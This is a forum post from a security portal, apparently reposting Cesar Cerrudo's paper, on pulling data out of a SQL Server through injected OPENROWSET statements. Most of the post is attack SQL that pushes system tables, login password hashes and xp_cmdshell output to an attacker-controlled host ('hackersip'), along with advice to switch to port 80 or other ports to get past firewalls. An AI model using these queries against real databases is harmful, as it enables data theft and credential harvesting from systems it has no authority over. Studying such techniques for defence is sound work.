Waraxe IT Security Portal
Login or Register
September 22, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 228
Members: 0
Total: 228
Full disclosure
[0day-rubbish] Royal Server 5.04.50529.0 Local privilege escalation to LocalSystem on the execution path without credential override (7.2)
[0day-rubbish] core-admin 1.0.164 (build 16468) Systemic shell command injection via ineffective quote escaping (8.8)
[0day-rubbish] OP5 Monitor 9.20 Command injection surviving the CVE-2025-34115 patch (OPT-IN fix ineffective) (8.8)
[0day-rubbish] QuantaStor 6.8.3.018 Command injection in the alert-mail command via the smtpPassword field (8.8)
[0day-rubbish] SmarterMail 100.0.9693 (Build 9693) Antivirus command-line configuration executing as NT AUTHORITY\SYSTEM (7.2)
[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)
[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)
[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE — Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)
CVE-2026-52307: Stored XSS in 1CMS v5.6
HP Easy Start for macOS: CVE-2026-12554 / CVE-2026-12555 /CVE-2026-12556
Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
O-CMS 1.0.0 Authenticated OS Command Injection viaai_cli_script
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Retrieving Results From Sql Injection
Post new topicReply to topic View previous topic :: View next topic
Retrieving Results From Sql Injection
PostPosted: Sun Feb 11, 2007 4:44 pm Reply with quote
Dinosaurio
Regular user
Regular user
Joined: Aug 11, 2006
Posts: 10




Hi,


The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data into SQL Server to be manipulated. They can however also be used to push data to a remote SQL Server.

OPENROWSET can be used to not only execute SELECT statements, but also to execute UPDATE, INSERT, and DELETE statements on external data sources. Performing data manipulation on remote data sources is less common and only works if the OLEDB provider supports this functionality. The SQLOLEDB provider support all these statements.

Below is an example of pushing data to an external data source:

insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2

In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the remote data source. In order for the statement to execute properly the two tables must have the same structure.

As we learned in the previous section, remote datasources can be redirected to any server of the attacker?s choice. An attacker could change the statement above to connect to a remote datasource such as a copy of Microsoft SQL Server running on the attacker?s machine.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2

In order to insert into table1 properly, the attacker must create table1 with the same columns and data types as table2. This information can be determined by performing this attack against system tables first.

This works because the structure of system tables are well-known. An attacker would start by creating a table with similar column names and data types as the system tables sysdatabases, sysobjects and syscolumns. Then to retrieve the necessary information, the following statements would be executed:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns

WWW.APPSECINC.COM
After recreating the tables in the database, loading the remaining data from the SQL Server is trivial.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2

Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.

Given the appropriate privileges, the attacker could load the list of logins and password hashes as well:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins

Acquiring the password hashes would allow the attacks to perform a brute-force on the passwords.

The attacker can also execute commands on the attacked server and get the results:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'

If the firewall is configured to block all outbound SQL Server connections, the attacker can use one of several techniques to circumvent the firewall. The attacker could set the address to push data on using port 80 therefore appearing to be an HTTP connection. Below is an example of this technique.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1

If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents port numbers until an unblocked one was found.


Good Luck

Dino


Font:Cesar Cerrudo (sqlsec@yahoo.com)
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
Retrieving Results From Sql Injection
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds